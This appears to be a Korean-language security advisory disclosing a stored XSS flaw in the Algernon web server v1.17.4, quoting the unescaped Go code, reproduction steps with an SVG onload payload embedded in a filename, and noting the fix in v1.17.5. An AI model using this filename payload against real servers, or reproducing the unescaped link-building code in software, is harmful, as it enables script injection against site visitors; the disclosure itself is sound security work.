
Algernon v1.17.4는 파일명에 조작된 페이로드를 통해 공격자가 임의 코드를 실행할 수 있게 하는 Cross-Site Scripting (XSS) 취약점의 영향을 받습니다.
Algernon v1.17.4는 교차 사이트 스크립팅(XSS) 취약점의 영향을 받으며, 공격자가 조작된 페이로드를 파일 이름에 삽입하여 임의 코드를 실행할 수 있습니다.
일부 변수가 이스케이프되지 않았습니다. 예를 들어 :
engine/dirhandler.go lines 80-108
filename := item.Name() // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))
themes/html.go lines 124-132
func HTMLLink(text, url string, isDirectory bool) string {
if isDirectory {
text += "/"
url += "/"
}
return "<a href=\"/" + url + "\">" + text + "</a><br>
// 'text' (filename) is inserted directly without HTML escaping
}
파일 시스템의 파일 이름이 디렉터리 목록에서 이스케이프 없이 HTML에 직접 삽입됩니다.
$ algernon -v
Algernon 1.17.4
디렉터리 내에 XSS 페이로드를 이름으로 하는 파일을 생성합니다.
# XSS Payload 1: Simple alert
$touch "test.txt"
# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"
동일한 저장소에서 애플리케이션을 실행합니다.
algernon
Server directory: .
Server address: :3000
Database: Bolt (/tmp/algernon.db)
Cache mode: On
Cache size: 1048576 bytes
TLS certificate: cert.pem
TLS key: key.pem
Request limit: 10/sec per visitor
Large file threshold: 44040192 bytes
Large file timeout: 10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2.
INFO[0000] Use the -t flag for serving regular HTTP.
INFO[0000] Serving HTTP on http://localhost:3000/
다음 URL을 방문하면 경고가 나타납니다.



이 문제는 v1.17.5에서 패치되었습니다.
발견자 : Benoit H. (Bnyt7)